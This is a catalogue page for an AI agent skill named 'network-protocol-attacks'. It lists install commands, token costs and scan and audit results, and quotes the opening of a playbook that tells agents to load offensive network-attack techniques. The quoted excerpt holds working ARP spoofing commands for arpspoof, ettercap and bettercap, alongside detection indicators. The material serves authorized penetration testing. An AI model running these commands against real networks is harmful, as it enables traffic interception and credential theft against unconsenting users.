network-protocol-attacks

network-protocol-attacks is a skill for Claude Code, Codex from yaklang/hack-skills. It costs 69 tokens per session (2,796 once invoked), scanned A, original, MIT.

A security testing playbook for finding and exploiting weaknesses in network protocols, such as address spoofing, name-resolution poisoning, and DNS manipulation.

In plain words
What is it for?
Use it for authorized penetration tests involving local networks, IPv6, switched networks, traffic interception, or attempts to evade network monitoring.
Why use it?
It gives an agent structured guidance for investigating network attacks and how several techniques can be combined during a security assessment.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it for authorized penetration tests involving local networks, IPv6, switched networks, traffic interception, or attempts to evade network monitoring.

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Install with agentmods
npx agentmods add skills/yaklang/hack-skills/network-protocol-attacks
About the project

HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.

yaklang/hack-skills · 2,143 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add yaklang/hack-skills --skill network-protocol-attacks
Clone the repo
git clone --depth 1 https://github.com/yaklang/hack-skills

Made for: Claude Code, Codex.

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README.md
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Per session 69 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,796 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • Socket fail 9 Apr 2026
  • Snyk fail 9 Apr 2026
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 95
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00069 $0.02796
Opus 5 $0.00034 $0.01398
Sonnet 5 $0.00014 $0.00559
Haiku 4.5 $0.00007 $0.00280

Measured 6d ago against content hash 332e60484c9b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

network-protocol-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

3 near-identical copies found in the catalogue:

skills/network-protocol-attacks/SKILL.md · 331 lines

How it starts

The opening of the file, as written. The whole thing — 331 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Network Protocol Attacks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

Before going deep, consider loading:

Advanced Reference

Also load NAME_RESOLUTION_POISONING.md when you need:

  • Detailed Responder/mitm6 configuration and workflows
  • NTLM relay target selection and chaining
  • Credential format analysis and cracking priorities

1. ARP SPOOFING

Gratuitous ARP — MitM Positioning

# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

Selective Targeting

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

Detection Indicators

  • Duplicate MAC addresses in ARP table
  • Gratuitous ARP storms from non-gateway IPs
  • Tools: arpwatch, static ARP entries, 802.1X port authentication

Read the full file on GitHub · 331 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 331 lines · 69 tokens per session scan A 332e60484c9b

Subscribe to this mod's changes

network-protocol-attacks is a skill published in the GitHub repository yaklang/hack-skills (2,143 stars, last pushed 2mo ago), licensed MIT. It adds 69 tokens to every session and 2,796 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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